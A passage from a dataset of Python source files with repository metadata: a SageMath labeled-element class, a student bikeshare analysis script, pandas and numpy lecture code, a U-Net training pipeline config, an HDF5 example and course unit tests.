P.rank(i) for i in range(1, 4)}\r\n        sage: print(labs)\r\n        {1: 0, 2: 1, 3: 1}\r\n        sage: print(P.plot(element_labels=labs))\r\n        Graphics object consisting of 6 graphics primitives\r\n\r\n        sage: from sage.misc.element_with_label import ElementWithLabel\r\n        sage: W = WeylGroup(\"A1\")\r\n        sage: P = W.bruhat_poset(facade=True)\r\n        sage: D = W.domain()\r\n        sage: v = D.rho() - D.fundamental_weight(1)\r\n        sage: nP = P.relabel(lambda w: ElementWithLabel(w, w.action(v)))\r\n        sage: list(nP)\r\n        [(0, 0), (0, 0)]\r\n    \"\"\"\r\n    def __init__(self, element, label):\r\n        \"\"\"\r\n        Construct an object that wraps ``element`` but presents itself\r\n        as ``label``.\r\n\r\n        TESTS::\r\n\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: e = ElementWithLabel(1, 'a')\r\n            sage: e\r\n            'a'\r\n            sage: e.element\r\n            1\r\n        \"\"\"\r\n        self.element = element\r\n        self.label = label\r\n\r\n    def _latex_(self):\r\n        \"\"\"\r\n        Return the latex representation of ``self``,\r\n        which is just the latex representation of the label.\r\n\r\n        TESTS::\r\n\r\n            sage: var('a_1')\r\n            a_1\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: e = ElementWithLabel(1, a_1)\r\n            sage: latex(e)\r\n            a_{1}\r\n        \"\"\"\r\n        return latex(self.label)\r\n\r\n    def __str__(self):\r\n        \"\"\"\r\n        Return the string representation of ``self``, which is just\r\n        the string representation of the label.\r\n\r\n        TESTS::\r\n\r\n            sage: var('a_1')\r\n            a_1\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: e = ElementWithLabel(1, a_1)\r\n            sage: str(e)\r\n            'a_1'\r\n        \"\"\"\r\n        return str(self.label)\r\n\r\n    def __repr__(self):\r\n        \"\"\"\r\n        Return the representation of ``self``, which is just\r\n        the representation of the label.\r\n\r\n        TESTS::\r\n\r\n            sage: var('a_1')\r\n            a_1\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: e = ElementWithLabel(1, a_1)\r\n            sage: repr(e)\r\n            'a_1'\r\n        \"\"\"\r\n        return repr(self.label)\r\n\r\n    def __hash__(self):\r\n        \"\"\"\r\n        Return the hash of the labeled element ``self``,\r\n        which is just the hash of ``self.element``.\r\n\r\n        TESTS::\r\n\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: a = ElementWithLabel(1, 'a')\r\n            sage: b = ElementWithLabel(1, 'b')\r\n            sage: d = {}\r\n            sage: d[a] = 'element 1'\r\n            sage: d[b] = 'element 2'\r\n            sage: print(d)\r\n            {'a': 'element 1', 'b': 'element 2'}\r\n            sage: a = ElementWithLabel(\"a\", [2,3])\r\n            sage: hash(a) == hash(a.element)\r\n            True\r\n        \"\"\"\r\n        return hash(self.element)\r\n\r\n    def __eq__(self, other):\r\n        \"\"\"\r\n        Two labeled elements are equal if and only if both of their\r\n        constituents are equal.\r\n\r\n        TESTS::\r\n\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: a = ElementWithLabel(1, 'a')\r\n            sage: b = ElementWithLabel(1, 'b')\r\n            sage: x = ElementWithLabel(1, 'a')\r\n            sage: a == b\r\n            False\r\n            sage: a == x\r\n            True\r\n            sage: 1 == a\r\n            False\r\n            sage: b == 1\r\n            False\r\n        \"\"\"\r\n        if not (isinstance(self, ElementWithLabel) and\r\n                isinstance(other, ElementWithLabel)):\r\n            return False\r\n        return self.element == other.element and self.label == other.label\r\n\r\n    def __ne__(self, other):\r\n        \"\"\"\r\n        Two labeled elements are not equal if and only if first or second\r\n        constituents are not equal.\r\n\r\n        TESTS::\r\n\r\n            sage: from sage.misc.element_with_label import ElementWithLabel\r\n            sage: a = ElementWithLabel(1, 'a')\r\n            sage: b = ElementWithLabel(1, 'b')\r\n            sage: x = ElementWithLabel(1, 'a')\r\n            sage: a != b\r\n            True\r\n            sage: a != x\r\n            False\r\n        \"\"\"\r\n        return not(self == other)\r\n", "meta": {"hexsha": "811f86d250fc6757c59eb378c538c71a30b671cf", "size": 5286, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/element_with_label.py", "max_stars_repo_name": "qedhandle/sage", "max_stars_repo_head_hexsha": "8453ffb849b047893b6c61dd09176a84c9133342", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/misc/element_with_label.py", "max_issues_repo_name": "qedhandle/sage", "max_issues_repo_head_hexsha": "8453ffb849b047893b6c61dd09176a84c9133342", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/element_with_label.py", "max_forks_repo_name": "qedhandle/sage", "max_forks_repo_head_hexsha": "8453ffb849b047893b6c61dd09176a84c9133342", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.7325581395, "max_line_length": 76, "alphanum_fraction": 0.5293227393, "include": true, "reason": "from sage", "num_tokens": 1247, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.1422318877380116, "lm_q1q2_score": 0.06557128680048899}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters(city, month, day):\n    \"\"\"def  Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    while True:\n        city = input('Which of the following cities you want to ckeck? chicago, new york city, or washington? ' ).lower()\n        if city not in CITY_DATA:\n            print('Ops, no data for this city')\n            continue\n        else:\n            break\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n    months = ['january', 'february', 'march', 'april', 'may', 'june', 'all']\n    while True:\n        month = input('which month do you choose? january, february, march, april, may, june or all: ').lower()\n        if month not in months:\n            print('Ops, Wrong Input')\n            continue\n        else:\n            break\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n    days = ['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','All']\n    while True:\n        day = input('which day of the week do you choose? sunday, monday, tuesday, wednesday, thursday, friday, saterday or all: ').title()\n        if day not in days:\n            print('Ops, Wrong Input')\n            continue\n        else:\n            break\n\n    print('Your Choice for city is: ' , city)\n    print('Your Choice for month is: ' , month)\n    print('Your choice for day is: ' , day)\n    print('_'*40)\n    return city, month, day\n\ndef load_data(city, month, day):\n\n    \"\"\"Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n    (str) city - name of the city to analyze\n    (str) month - name of the month to filter by, or \"all\" to apply no month filter\n    (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n    df - Pandas DataFrame containing city data filtered by month and day\"\"\"\n\n    # load data file into a dataframe\n    df = pd.read_csv(CITY_DATA[city])\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n    # extract month and day of week from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month\n    df['day'] = df['Start Time'].dt.weekday_name\n    # filter by month if applicable\n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        months = ['january', 'february', 'march', 'april', 'may', 'june']\n        month = months.index(month) + 1\n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    # filter by day of week if applicable\n    if day != 'All':\n        # filter by day of week to create the new dataframe\n        df = df[df['day'] == day]\n\n    return df\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    popular_month = df['month'].mode()[0]\n    # TO DO: display the most common day of week\n    popular_day = df['day'].mode()[0]\n    # TO DO: extract hour from Start Time column and display the most common start hour\n    df['hour'] = df['Start Time'].dt.hour\n    popular_hour = df['hour'].mode()[0]\n\n    print('Most Popular Month:', popular_month)\n    print('Most Popular Day:', popular_day)\n    print('Most Popular Hour:', popular_hour)\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n    # TO DO: display most commonly used start station\n    popular_start_station = df['Start Station'].mode()[0]\n    # TO DO: display most commonly used end station\n    popular_End_station = df['End Station'].mode()[0]\n    # TO DO: display most frequent combination of start station and end station trip\n    df['popular_combination_trip'] = df['Start Station'] + '&' + df['End Station']\n    popular_combination_trip = df['popular_combination_trip'].mode()[0]\n\n    print('Most Popular Start Station:', popular_start_station)\n    print('Most Popular End Station:', popular_End_station)\n    print('Most Frequent Combination of Start Station and End Station Trip:', popular_combination_trip)\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n    # TO DO: display total travel time\n    total_travels = df['Trip Duration'].sum()\n    # TO DO: display mean travel time\n    average_trips_time = df['Trip Duration'].mean()\n\n    print('Total Travels/trips Time is:', total_travels)\n    print('Average Travels/trips Time is:', average_trips_time)\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n    # TO DO: Display counts of user types\n    user_types = df['User Type'].value_counts()\n    # TO DO: Display counts of gender\n    if 'Gender' in df:\n        gender_types = df['Gender'].value_counts()\n        print('counts of Users Genders is:' , gender_types)\n    else:\n        print('there is no gender data for this city')\n    # TO DO: Display earliest, most recent, and most common year of birth\n    if 'Birth Year' in df:\n        earliest_birth = int(df['Birth Year'].min())\n        recent_birth = int(df['Birth Year'].max())\n        popular_birth = int(df['Birth Year'].mode()[0])\n        print('Youngest Users are born in {}, and the eldest Users Birth is {}, while Most Users born in {}.'.format(recent_birth , earliest_birth , popular_birth))\n    else:\n        print('there is no Birth Year data for this city')\n\n    print('Count of Users Types is: ', user_types)\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef data(df):\n    raw_input = 0\n    #asking for raw input data by using while loop.\n    while True:\n        #confirming if the user wants to see the data of not by using input.\n        raw = input('Do you want to view 5 rows of the data? type: yes or no? ').lower()\n        if raw == 'no':\n            break\n        elif raw == 'yes':\n            raw_input += 5\n            #printing 5 rows of the data\n            print(df.iloc[raw_input : raw_input + 5])\n            break\n        else:\n            print('Wrong input')\n    while True:\n        #starting a new loop to add 5 more rows everytime the user asks to.\n        more = input('Do you want to view 5 more rows? type: yes or no? ').lower()\n        if more == 'no':\n            break\n        elif more == 'yes':\n            raw_input += 5\n            print(df.iloc[raw_input : raw_input + 5])\n            continue\n        else:\n            print('Wrong Input')\n\n    return raw_input\n\ndef main():\n    city = []\n    month = []\n    day = []\n    while True:\n        city, month, day = get_filters(city, month, day)\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n        data(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\nif __name__ == \"__main__\":\n\tmain()\n", "meta": {"hexsha": "342cffcf2662c246247b96183ed2eba6950aaa9a", "size": 8082, "ext": "py", "lang": "Python", "max_stars_repo_path": "Hessah Alshbanh bikashare Project.py", "max_stars_repo_name": "hessah790947/BikeShare", "max_stars_repo_head_hexsha": "9018107e8374a9a6fe7af45ef763702ba0dfc9ef", "max_stars_repo_licenses": ["CNRI-Python"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Hessah Alshbanh bikashare Project.py", "max_issues_repo_name": "hessah790947/BikeShare", "max_issues_repo_head_hexsha": "9018107e8374a9a6fe7af45ef763702ba0dfc9ef", "max_issues_repo_licenses": ["CNRI-Python"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Hessah Alshbanh bikashare Project.py", "max_forks_repo_name": "hessah790947/BikeShare", "max_forks_repo_head_hexsha": "9018107e8374a9a6fe7af45ef763702ba0dfc9ef", "max_forks_repo_licenses": ["CNRI-Python"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.9436619718, "max_line_length": 164, "alphanum_fraction": 0.6200197971, "include": true, "reason": "import numpy", "num_tokens": 2019, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.13846179412408713, "lm_q1q2_score": 0.06544860222567613}}
{"text": "# Lecture code for Week 2\r\n# inspired by https://www.programiz.com/python-programming/tuple\r\n\r\nmy_string = 'baldan'\r\ntype(my_string)\r\n\r\nmystr1 = \"Nice\"\r\nmystr2 = \"day\"\r\n\r\nmyFullStr = mystr1 + \" \" + mystr2\r\n\r\nmy_int = -15\r\ntype(my_int)\r\n\r\nmy_float = 15.78\r\ntype(my_float)\r\n\r\nmy_bool = False # True\r\ntype(my_bool)\r\n\r\nimport datetime \r\ntoday = datetime.date.today()\r\ntoday.year\r\ntoday.month\r\ntoday.day\r\n\r\ndatetime.datetime.strptime('2017-01-22', \"%Y-%m-%d\") # convert string to datetime (strptime)\r\ndatetime.datetime.strptime('2017/01/22', \"%Y/%m/%d\")\r\n\r\ntoday.strftime(\"%Y/%m/%d\") # convert datetime to string (strptime)\r\n\r\n# list\r\nmy_list_str = ['bat','bold','suren']\r\nmy_list_str[2]\r\nmy_list_str[:1]\r\nmy_list_str[:2]\r\nmy_list_str[1:]\r\nmy_list_str[::-1]\r\nmy_list_str[::-2]\r\nmy_list_str[-1]\r\nmy_list_str[-2]\r\n\r\nmy_list_num = [15, 15.2, 4.7]\r\ntype(my_list_num)\r\n\r\n# tuple\r\nmy_tuple = (1,2,3)\r\n\r\n# set\r\nmy_set1 = {1,2,3}\r\nmy_set2 = {7,8,9}\r\nmy_set.add(2)\r\nmy_set1 | my_set2 # join\r\nmy_set1 & my_set2 # intersection\r\nmy_set2 - my_set1\r\n\r\n\r\n# dictionary . json\r\n\r\nmy_dict = {\"name\": \"Bat\", \"age\":25,\"country\":\"Mongolia\"}\r\nperson2 = {\"name\": \"Bold\", \"age\":23,\"country\":\"Mongolia\",\"city\":\"Darkhan\"}\r\n\r\nbig_dict = {\"Younger\": person1, \"Older\": person2}\r\n\r\n\r\n# Numerical package - numpy (scipy)\r\n\r\nimport numpy as np\r\n\r\n\r\n# Pandas\r\nimport pandas as pd\r\n\r\n# Pandas read examples:\r\n# https://www.datacamp.com/community/tutorials/importing-data-into-pandas\r\n\r\n# be careful with backward slash \\\r\ndf = pd.read_excel(\"C:/Users/sugarkhuu/Documents/python/repo/Introduction_Python/week2/data.xlsx\")\r\n# pd.read_excel(\"C:\\\\Users\\\\sugarkhuu\\\\Documents\\\\python\\\\repo\\\\Introduction_Python\\\\week2\\\\data.xlsx\")\r\n\r\ndf.dtypes\r\ndf.head()\r\ndf.tail()\r\n\r\ndf.describe()\r\n\r\ndf['age']\r\ndf['firstName']\r\n\r\n# iloc\r\ndf.iloc[2,1]\r\ndf.iloc[2:5,1:3]\r\n\r\n# loc\r\ndf.loc[5,\"lastName\"]\r\ndf.loc[5:8,\"lastName\"]\r\ndf.loc[5:8,(\"lastName\",\"firstName\")]\r\n\r\n# filter\r\ndf[df[\"age\"]<27]\r\ndf[df[\"age\"]<27][[\"firstName\",\"lastName\",\"salary\",\"age\"]]\r\ndf[df[\"age\"]>=27][[\"firstName\",\"lastName\",\"salary\",\"age\"]]\r\n\r\n\r\ndf[(df[\"age\"]<27) & (df[\"salary\"]<2.0) & (df[\"gender\"] != \"M\")]\r\n\r\n\r\ndf.groupby('gender')['salary'].mean()\r\ndf.groupby(\"gender\")['salary'].max()\r\ndf.groupby(\"gender\")['salary'].min()\r\n\r\ndf.groupby(['gender','politicalView'])['age'].mean()\r\n\r\n\r\ndf.groupby(['gender','politicalView'])['age'].mean()\r\ndf.groupby(['gender','politicalView'])[['age','salary']].mean()\r\ndf.groupby(['gender','politicalView'])[['age','salary']].max()\r\n\r\ndf.groupby('A').agg({'B': ['min', 'max'], 'C': 'sum'})\r\n\r\ndf.groupby(['gender','politicalView']).agg({'age': [\"mean\",\"max\"], 'salary': [\"max\",\"count\"]})\r\n\r\ndf.groupby(['gender','politicalView']).agg({'age': [\"mean\",\"max\"],  \\\r\n    \"salary\": [\"mean\",\"max\"] })\r\n\r\n\r\ndf = df.sort_values(by=\"yearsInCompany\")\r\n\r\ndf.sort_values(by=\"gender\", inplace=True)\r\ndf[\"name\"] = np.arange(10)\r\ndel df[\"name\"]\r\n\r\ndf[[\"age\",\"salary\"]]\r\n\r\ndf.columns # column names\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "19e8d6a601ddd1244fcabd574a2fa42e87b3125b", "size": 2943, "ext": "py", "lang": "Python", "max_stars_repo_path": "week2/week2.py", "max_stars_repo_name": "Namuun0101/Introduction_Python", "max_stars_repo_head_hexsha": "dc8076736e684a323879b9f52d72dfb0c23f7667", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week2/week2.py", "max_issues_repo_name": "Namuun0101/Introduction_Python", "max_issues_repo_head_hexsha": "dc8076736e684a323879b9f52d72dfb0c23f7667", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week2/week2.py", "max_forks_repo_name": "Namuun0101/Introduction_Python", "max_forks_repo_head_hexsha": "dc8076736e684a323879b9f52d72dfb0c23f7667", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.0214285714, "max_line_length": 104, "alphanum_fraction": 0.627930683, "include": true, "reason": "import numpy", "num_tokens": 887, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.13846178523628042, "lm_q1q2_score": 0.06544859802455674}}
{"text": "\"\"\"\nThis file contains code that will kick off training and testing processes\n\"\"\"\nimport os\nimport json\n\nfrom experiments.UNetExperiment import UNetExperiment\nfrom data_prep.HippocampusDatasetLoader import LoadHippocampusData\nimport numpy as np\n\n\nclass Config:\n    \"\"\"\n    Holds configuration parameters\n    \"\"\"\n    def __init__(self):\n        self.name = \"Basic_unet\"\n        self.root_dir = r\"/home/workspace/src/data\" \n        self.n_epochs = 5 \n        self.learning_rate = 0.0002\n        self.batch_size = 32 # TODO Let's bump this up a smidge (was 8)\n        self.patch_size = 64\n        self.test_results_dir = \"/home/workspace/out/\" # Unclear is this is the best place for this (update: arbitrary, but fine)\n\nif __name__ == \"__main__\":\n    # Get configuration\n\n    # TASK: Fill in parameters of the Config class and specify directory where the data is stored and \n    # directory where results will go\n    c = Config()\n\n    # Load data\n    print(\"Loading data...\")\n\n    # TASK: LoadHippocampusData is not complete. Go to the implementation and complete it. \n    data = LoadHippocampusData(c.root_dir, y_shape = c.patch_size, z_shape = c.patch_size)\n\n\n    # Create test-train-val split\n    # In a real world scenario you would probably do multiple splits for \n    # multi-fold training to improve your model quality\n\n    keys = range(len(data))\n\n    # Here, random permutation of keys array would be useful in case if we do something like \n    # a k-fold training and combining the results. \n\n    split = dict()\n\n    # TASK: create three keys in the dictionary: \"train\", \"val\" and \"test\". In each key, store\n    # the array with indices of training volumes to be used for training, validation \n    # and testing respectively.\n    # <YOUR CODE GOES HERE>\n      \n    # FIXME typically we would use some randomization in making these splits, however I don't believe we \n    # have reason to suspect there is any particular pattern to this dataset\n    \n#     split['train'] = keys[:int(len(keys)*0.6)]\n#     split['val'] = keys[int(len(keys)*0.6):int(len(keys)*0.9)]\n#     split['test'] = keys[int(len(keys)*0.9):]\n    \n    # DONE change of heart: update with randomized sampling method\n    key_lenth = len(keys)\n    split['train'] = np.random.choice(keys, int(key_lenth*0.6), replace=False)\n    split['val'] = np.random.choice(keys, int(key_lenth*0.2), replace=False)\n    split['test'] = np.random.choice(keys, int(key_lenth*0.2), replace=False)\n    \n    # Set up and run experiment\n    \n    # TASK: Class UNetExperiment has missing pieces. Go to the file and fill them in\n    exp = UNetExperiment(c, split, data)\n\n    # You could free up memory by deleting the dataset\n    # as it has been copied into loaders\n    # del dataset \n\n    # run training\n    exp.run()\n\n    # prep and run testing\n\n    # TASK: Test method is not complete. Go to the method and complete it\n    results_json = exp.run_test()\n\n    results_json[\"config\"] = vars(c)\n    \n    print(\"Write to: \", exp.out_dir, \"results.json\")\n    \n    with open(os.path.join(exp.out_dir, \"results.json\"), 'w') as out_file:\n        json.dump(results_json, out_file, indent=2, separators=(',', ': '))\n\n", "meta": {"hexsha": "29c757ecb22aa46365da43cdc89a3328fb581ee4", "size": 3158, "ext": "py", "lang": "Python", "max_stars_repo_path": "section2/src/run_ml_pipeline.py", "max_stars_repo_name": "JaredBBowden/nd320-c3-3d-imaging-starter", "max_stars_repo_head_hexsha": "0cddd4a93fe841a4d9762145fbff491907801a3d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "section2/src/run_ml_pipeline.py", "max_issues_repo_name": "JaredBBowden/nd320-c3-3d-imaging-starter", "max_issues_repo_head_hexsha": "0cddd4a93fe841a4d9762145fbff491907801a3d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "section2/src/run_ml_pipeline.py", "max_forks_repo_name": "JaredBBowden/nd320-c3-3d-imaging-starter", "max_forks_repo_head_hexsha": "0cddd4a93fe841a4d9762145fbff491907801a3d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.3260869565, "max_line_length": 129, "alphanum_fraction": 0.6735275491, "include": true, "reason": "import numpy", "num_tokens": 785, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204329, "lm_q2_score": 0.13846178345871912, "lm_q1q2_score": 0.06544859718433291}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@program: makeh5.py\n\n@task: Create dummy datasets\n\"\"\"\n\nimport h5py\nimport numpy as np\n\nA = np.array([1, 2])\nB = np.array([[[1, 2], [3, 4]],\n              [[5, 6], [7, 8]]])\nc = 42\nd = 1.23\ne = []\n\nwith h5py.File('./ex_dataset.h5', 'w') as hf:\n    gf1 = hf.create_group('arrays')\n    gf1.create_dataset('A', data=A)\n    gf1.create_dataset('B', data=B)\n    gf2 = hf.create_group('scalars')\n    gf2.create_dataset('c', data=c)\n    gf2.create_dataset('d', data=d)\n    gf2.create_dataset('e', data=e)\n", "meta": {"hexsha": "134f41d3b35b2a2e1f48ebe4456f9a776022e956", "size": 547, "ext": "py", "lang": "Python", "max_stars_repo_path": "example/ex_makeh5.py", "max_stars_repo_name": "nish-ant/listh5", "max_stars_repo_head_hexsha": "379a8eae427b6558367a41a555ccef644a40e22e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "example/ex_makeh5.py", "max_issues_repo_name": "nish-ant/listh5", "max_issues_repo_head_hexsha": "379a8eae427b6558367a41a555ccef644a40e22e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "example/ex_makeh5.py", "max_forks_repo_name": "nish-ant/listh5", "max_forks_repo_head_hexsha": "379a8eae427b6558367a41a555ccef644a40e22e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.2592592593, "max_line_length": 45, "alphanum_fraction": 0.5740402194, "include": true, "reason": "import numpy", "num_tokens": 191, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.13477591742295678, "lm_q1q2_score": 0.0652827702398397}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 11 09:38:15 2020\r\n\r\n@author: 66IN\r\n\"\"\"\r\n\r\n\r\nimport pandas as pd\r\n\r\nimport numpy as np\r\n\r\n\r\ns = pd.Series([1,2,3,4,np.nan,5,6])   #using series in pandas\r\n\r\n\r\nprint(s)\r\n\r\n# example of dataframe :\r\n\r\n\r\nd = pd.date_range('20200301',periods=10)\r\n\r\nprint(d)\r\n\r\ndf = pd.DataFrame(np.random.randn(10,4),index=d,columns=['A','B','C','D'])\r\n\r\nprint(df)\r\n\r\ndf1 = pd.DataFrame({'A':[1,2,3,4],\r\n                    \r\n                    \r\n                    'B':'Aditya'})\r\n\r\nprint(df1)\r\n\r\n\r\n#functions in python\r\n\r\nprint(df.head())\r\nprint(df.tail())\r\n\r\n\r\nprint(df.to_numpy())", "meta": {"hexsha": "44a0104d6b549b5128db9f6290acb9190e9d4432", "size": 614, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas_example.py", "max_stars_repo_name": "adityadesle/numpy-pandas-matplotlib", "max_stars_repo_head_hexsha": "eaf521d640bc8f554d7f5199d2cb71c42823a646", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pandas_example.py", "max_issues_repo_name": "adityadesle/numpy-pandas-matplotlib", "max_issues_repo_head_hexsha": "eaf521d640bc8f554d7f5199d2cb71c42823a646", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas_example.py", "max_forks_repo_name": "adityadesle/numpy-pandas-matplotlib", "max_forks_repo_head_hexsha": "eaf521d640bc8f554d7f5199d2cb71c42823a646", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-10-02T06:54:17.000Z", "max_forks_repo_forks_event_max_datetime": "2020-10-02T06:54:17.000Z", "avg_line_length": 13.9545454545, "max_line_length": 75, "alphanum_fraction": 0.5179153094, "include": true, "reason": "import numpy", "num_tokens": 175, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.14033625488320037, "lm_q1q2_score": 0.06524254541585621}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct  8 15:36:02 2018\n\n@author: derobest\n\"\"\"\nimport numpy as np\ndef test_basicTrue():\n    \"\"\" one of the simplest test that does nothing except saying it works...\"\"\"\n    assert True\n\n\n#testing session 1 functions\ndef load_S1_script():\n    \"\"\"\n        utility function that tris to load the script written along the first lesson\n        @throws an ImportError exception if the script file does not exist\n        @return the script as a loaded module\n    \"\"\"\n    S1_script_filename='assignments/Session1/S1_algotools.py'\n    import imp\n    s1_algotools=imp.load_source('session_1_script', S1_script_filename)\n    return  s1_algotools\n\n    \ndef test_session1script_exists():\n    try:\n        load_S1_script()\n        assert True\n    #except  ImportError,e:\n    except  ImportError:\n        print('Expected script not found, carrefuly check the assignement instructions ')\n        assert False\n\n    \"\"\"\n    Test en indiquant le r\u00e9sultat dans le test\n     \"\"\"\ndef test_average():\n    test_tab=[1,2,3,8]\n    assert load_S1_script().average_above_zero(test_tab) == 3.5\n    \n    \"\"\"\n    Tests en utilisant la fonction int\u00e9gr\u00e9e mean \u00e0 numpy.\n    \"\"\"\ndef check_S1_selective_average(testList):\n    ##\n    # utility function that asserts if load_S1_script().average_above_zero works fine\n    # @param testList a list of values onto average_above_zero is applied\n    # @test ensures the function returns the correct average value\n    #another way to process the positive elements average to compare with\n    positive_elements_float_array=np.array([i for i in testList if i > 0], dtype=float)\n    reference_average_value=np.mean(positive_elements_float_array)\n    assert load_S1_script().average_above_zero(testList) ==reference_average_value\n\n\ndef test_S1_selective_average_non_zeros_values():\n    ##\n    # @test validates average_above_zero works fine with integer values >0\n    check_S1_selective_average([1,2,3,4,-7])\n\ndef test_S1_selective_average_with_zeros_values():\n    ##\n    # @test validates average_above_zero works fine with integer values >=0\n    check_S1_selective_average([0,1,2,3,4,-7])\n\ndef test_S1_selective_average_with_negative_values():\n    ##\n    # @test validates average_above_zero works fine with integer values <=0\n    #check_S1_selective_average([0,-7])\n    